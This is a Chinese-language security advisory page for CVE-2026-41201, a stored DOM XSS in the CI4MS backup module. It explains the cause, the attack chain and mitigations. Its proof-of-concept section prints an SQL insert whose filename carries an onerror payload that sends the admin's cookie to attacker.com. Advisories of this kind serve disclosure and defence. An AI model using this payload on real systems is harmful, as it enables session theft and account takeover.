IPBUF安全漏洞报告
English
CVE-2026-41201 CVSS 9.1 严重

CVE-2026-41201 CI4MS存储型DOM XSS漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-41201
漏洞类型
存储型DOM XSS
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
CI4MS

相关标签

XSSDOM XSSCI4MSCodeIgniterAccount TakeoverPrivilege Escalation

漏洞概述

CI4MS是一个基于CodeIgniter 4的CMS骨架。在0.31.4.0版本中,备份模块存在严重的存储型DOM XSS漏洞。攻击者可利用SQL文件篡改备份文件名,植入隐藏的恶意脚本。当管理员查看时,脚本在客户端执行,导致完全账户接管及权限提升。官方已在0.31.5.0版本中修复此高危漏洞。

技术细节

该漏洞根因在于CI4MS备份模块在处理导入的SQL文件时,未能对备份文件名字段进行充分的安全过滤和转义。攻击者首先需要具备较高权限(PR:H)访问系统,通过构造特定的SQL文件,在文件名字段中嵌入恶意的JavaScript代码(XSS Payload)。当该SQL文件被系统导入用于恢复备份时,恶意文件名被原样存储。随后,当具有管理权限的用户访问备份管理页面时,受污染的文件名数据通过前端JavaScript渲染到DOM中。由于漏洞性质为存储型DOM XSS,恶意脚本在受害者的浏览器上下文中直接执行。攻击者可以通过Payload窃取管理员的Cookie、Session Token,甚至伪造管理员请求执行敏感操作,从而实现账户完全接管和权限纵向提升。

攻击链分析

STEP 1
1. 权限获取
攻击者需要获取CI4MS系统的高权限账户(PR:H),以便访问备份上传/导入功能。
STEP 2
2. 恶意文件构造
攻击者构造一个SQL文件,其中的备份文件名字段包含恶意的JavaScript代码(XSS Payload)。
STEP 3
3. 上传恶意文件
攻击者通过系统的备份模块导入该恶意SQL文件,系统将带有恶意代码的文件名存储到数据库中。
STEP 4
4. 触发漏洞
当管理员或其他用户访问备份列表或相关管理页面时,前端JavaScript读取并渲染该文件名。
STEP 5
5. 执行攻击
恶意脚本在受害者的浏览器中执行(DOM XSS),窃取Cookie或执行敏感操作,导致账户接管。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
-- Example of a malicious SQL backup file content -- The attacker injects a script into the filename field INSERT INTO `backups` (`filename`, `created_at`) VALUES ( 'backup_<img src=x onerror=fetch("http://attacker.com/?c="+document.cookie)>.sql', NOW() );

影响范围

CI4MS <= 0.31.4.0

防御指南

临时缓解措施
如果无法立即升级,应限制备份模块的导入权限,并手动审查数据库中现有的备份文件名是否包含脚本标签。建议管理员在处理备份功能时使用具备XSS防护功能的浏览器插件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表